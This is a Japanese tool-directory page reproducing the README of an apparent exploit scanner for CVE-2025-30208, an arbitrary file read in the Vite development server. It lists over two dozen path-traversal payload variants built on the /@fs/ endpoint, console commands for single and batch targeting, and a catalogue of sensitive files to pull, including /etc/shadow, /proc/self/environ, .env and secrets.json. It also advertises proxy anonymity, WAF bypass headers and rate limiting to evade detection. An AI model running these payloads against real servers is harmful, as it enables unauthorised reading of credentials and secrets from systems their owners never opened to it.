Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-30208 — CVE‑2025‑30208 は、Vite 開発サーバー(人気のフロントエンドビルドツール)における中程度の重要度の任意ファイル読み取り脆弱性です。 | Kitploit
ツール/GitHubGitHub/themehackers/cve-2025-30208
脆弱性スキャナーペイロード生成エクスプロイト情報収集ウェブセキュリティペネトレーションテスト
GitHubthemehackers/cve-2025-30208

CVE-2025-30208

CVE‑2025‑30208 は、Vite 開発サーバー(人気のフロントエンドビルドツール)における中程度の重要度の任意ファイル読み取り脆弱性です。

リポジトリを見る
10171年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🔥 CVE-2025-30208 Vite任意ファイル読み取り脆弱性スキャナー

Python License Security Status Modular

エンタープライズ向け機能を備えたCVE-2025-30208対応の高度な脆弱性スキャナー

Vite任意ファイル読み取り脆弱性検出のためのプロフェッショナルペネトレーションテストツール

🚀 クイックスタート • 📋 機能 • 🔧 使い方 • 📊 例 • 🛡️ セキュリティ


📖 概要

これは、Vite開発サーバーのCVE-2025-30208脆弱性を検出・悪用するために設計された包括的な脆弱性スキャナーです。この脆弱性は、Viteのファイルシステムエンドポイントを通じて任意のファイル読み取りアクセスを可能にし、機密構成ファイル、ソースコード、システム情報を露呈する可能性があります。

🎯 このツールの役割

  • ネットワーク上の脆弱なViteインスタンスを検出
  • 安全に任意ファイル読み取り脆弱性を悪用
  • 機密ファイルや構成データを発見
  • 複数形式(HTML、JSON、コンソール)で結果を報告
  • スキャンセッションと構成を管理
  • 自動リトライ機構でエラーを適切に処理

🏗️ モジュール式アーキテクチャ

このツールは、保守性と拡張性を高めるモジュール式アーキテクチャを採用しています:

  • CVE-2025-30208.py - メインスキャナーアプリケーション
  • payloads.py - 高度なエクスプロイトペイロード(60以上のバリエーション)
  • sensitive_files.py - 包括的な機密ファイルデータベース(200以上のファイル)
  • html_template.py - 強化されたハッカー風HTMLレポートテンプレート

🚀 クイックスタート

前提条件

pip3 install -r requirements.txt

基本的な使い方

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

📋 機能

🔍 コア脆弱性検出

  • 60以上の高度なペイロード: 最大限の検出を実現する包括的なエクスプロイト手法
  • スマート検出: 応答をインテリジェントに分析し、誤検知を回避
  • リアルタイム検証: ターゲット応答の継続的な検証
  • 包括的テスト: 既知のすべての脆弱エンドポイントをテスト

🛡️ 強化されたセキュリティ機能

  • プロキシサポート: 匿名性のためのHTTP/HTTPSプロキシ設定
  • カスタムヘッダー: カスタムHTTPヘッダーによるWAF/IPSのバイパス
  • レート制限: 検出を回避するための設定可能な遅延
  • セッション管理: スキャンセッションの保存と復元
  • 入力検証: 包括的なパラメータ検証

🔧 高度な機能

  • バッチスキャン: マルチスレッドによる複数ターゲットのスキャン
  • 機密ファイル発見: 200以上の機密ファイルを自動発見
  • 接続性テスト: TCP/UDP/HTTP/HTTPSプロトコルテスト
  • エラー回復: 指数バックオフによる自動リトライ
  • 包括的なログ記録: タイムスタンプ付きの詳細ログ

📊 レポートと出力

  • 🎨 強化されたHTMLレポート: アニメーション付きの美しいハッカー風脆弱性レポート
  • JSONエクスポート: さらなる分析のための構造化データ
  • コンソール出力: 色分けされたリアルタイムフィードバック
  • ログファイル: 詳細な監査証跡
  • 対話型Webインターフェース: レポート表示用の組み込みWebサーバー

🔧 使い方ガイド

1. 基本設定

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. 脆弱性テスト

CVE-2025-30208 > run

# 詳細出力のためにverboseモードを有効化
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. バッチスキャン

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[Enterキーを2回押して終了]

4. 機密ファイル発見

CVE-2025-30208 > scan

5. 高度な設定

# プロキシの設定
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080

# カスタムヘッダーの設定
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}

# レート制限の設定
CVE-2025-30208 > rate
Enter rate limit: 1.0

6. 強化されたHTMLレポート

# 美しいHTMLレポートを生成
CVE-2025-30208 > pull

# レポート表示用のWebサーバーを起動
CVE-2025-30208 > web

# 特定のポートでWebサーバーを起動
CVE-2025-30208 > web 8081

# Webサーバーを停止
CVE-2025-30208 > web off

📊 コマンドリファレンス

コマンド説明例
set <option> <value>設定オプションを指定set RHOST 192.168.1.100
show options現在の設定を表示show options
edit対話型オプションエディターedit
run / exploit脆弱性テストを実行run
batch複数ターゲットをバッチスキャンbatch
scan機密ファイルを発見scan
pull結果をHTML/JSONにエクスポートpull
web [on|off|port]HTMLレポート用のWebサーバーweb 8080
saveセッション設定を保存save
loadセッション設定を読み込みload
testターゲットへの接続性をテストtest
validate現在の設定を検証validate
verboseverboseモードの切り替えverbose
proxyプロキシ設定を構成proxy
headersカスタムHTTPヘッダーを設定headers
rateレート制限を構成rate
logログ情報を表示log
help / ?ヘルプを表示help
exit / quitツールを終了exit

⚙️ 設定オプション

オプション説明デフォルト値検証内容
RHOSTターゲットホスト/IPアドレス-ホスト名/IP検証
RPORTターゲットポート番号-ポート範囲(1-65535)
FILEPATHテストするファイルパスetc/passwdパス検証
PROXYHTTP/HTTPSプロキシURL-URL形式検証
VERBOSEverbose出力の有効化false真偽値検証
RATE_LIMITリクエスト間の遅延(秒)0.3数値検証
THREADSバッチスキャンのスレッド数5整数検証
TIMEOUTリクエストタイムアウト(秒)5整数検証
CUSTOM_HEADERSカスタムHTTPヘッダー(JSON){}JSON形式検証

🎨 強化されたペイロードシステム

スキャナーは現在、payloads.pyに整理された60以上の異なるペイロードバリエーションを使用しています:

主要 @fs ペイロード

/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url

拡張パラメータバリエーション

/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8

Vite固有のバリエーション

/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug

モジュールシステムバリエーション

/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html

代替エンドポイント

/app/{file_path}?raw??
/App/{file_path}?raw??

🔍 強化された機密ファイル発見

このツールは現在、sensitive_files.pyに整理された200以上の機密ファイルをテストします:

🖥️ システムファイル(Linux/Unix)

  • /etc/passwd - ユーザーアカウント情報
  • /etc/shadow - 暗号化されたパスワードデータ
  • /etc/services - ネットワークサービス
  • /etc/hosts - ホスト名マッピング
  • /etc/fstab - ファイルシステムテーブル
  • /etc/ssh/sshd_config - SSHサーバー設定
  • /etc/crontab - システムcronジョブ
  • /etc/sudoers - sudo設定

📊 プロセス情報

  • /proc/version - カーネルバージョン
  • /proc/cpuinfo - CPU情報
  • /proc/meminfo - メモリ情報
  • /proc/self/environ - プロセス環境変数
  • /proc/self/cmdline - プロセスコマンドライン
  • /proc/net/tcp - TCP接続
  • /proc/net/udp - UDP接続

⚙️ アプリケーション設定

  • .env - 環境変数
  • .env.local - ローカル環境
  • .env.production - 本番環境
  • config.json - アプリケーション設定
  • settings.json - アプリケーション設定
  • application.properties - Spring設定
  • application.yml - YAML設定
  • database.yml - データベース設定
  • secrets.json - シークレット管理

📦 Node.js / JavaScriptファイル

  • package.json - Node.js依存関係
  • package-lock.json - ロックされた依存関係
  • yarn.lock - Yarnロックファイル
  • vite.config.js - Vite設定
  • vite.config.ts - TypeScript Vite設定
  • tsconfig.json - TypeScript設定
  • webpack.config.js - Webpack設定
  • next.config.js - Next.js設定
  • nuxt.config.js - Nuxt.js設定
  • angular.json - Angular設定
  • vue.config.js - Vue.js設定
  • rollup.config.js - Rollup設定
  • eslint.config.js - ESLint設定
  • prettier.config.js - Prettier設定
  • jest.config.js - Jest設定
  • babel.config.js - Babel設定
  • tailwind.config.js - Tailwind CSS設定

🔧 Gitファイル

  • .git/config - Git設定
  • .gitignore - Git無視ルール
  • .gitattributes - Git属性
  • .gitmodules - Gitサブモジュール
  • .git/HEAD - 現在のブランチ
  • .git/logs/HEAD - Gitログ
  • .git/refs/heads/master - masterブランチ
  • .git/refs/heads/main - mainブランチ

📚 ドキュメントファイル

  • README.md - プロジェクトドキュメント
  • CHANGELOG.md - 変更履歴
  • LICENSE - ライセンス情報
  • CONTRIBUTING.md - コントリビューションガイドライン
  • AUTHORS - 著者情報
  • TODO.md - TODOリスト
  • ROADMAP.md - 開発ロードマップ

🐳 Dockerファイル

  • Dockerfile - Docker設定
  • docker-compose.yml - Docker Compose
  • docker-compose.override.yml - オーバーライド設定
  • .dockerignore - Docker無視ルール
  • docker-compose.prod.yml - 本番環境設定
  • docker-compose.dev.yml - 開発環境設定

🌐 Webサーバー設定

  • nginx.conf - Nginx設定
  • apache2.conf - Apache設定
  • httpd.conf - HTTPデーモン設定
  • .htaccess - Apacheアクセス制御
  • web.config - IIS設定
  • robots.txt - 検索エンジン指示
  • sitemap.xml - サイト構造
  • manifest.json - Webアプリマニフェスト
  • sw.js - Service Worker
  • firebase.json - Firebase設定
  • firebase.rules - Firebaseセキュリティルール
ツールをダウンロード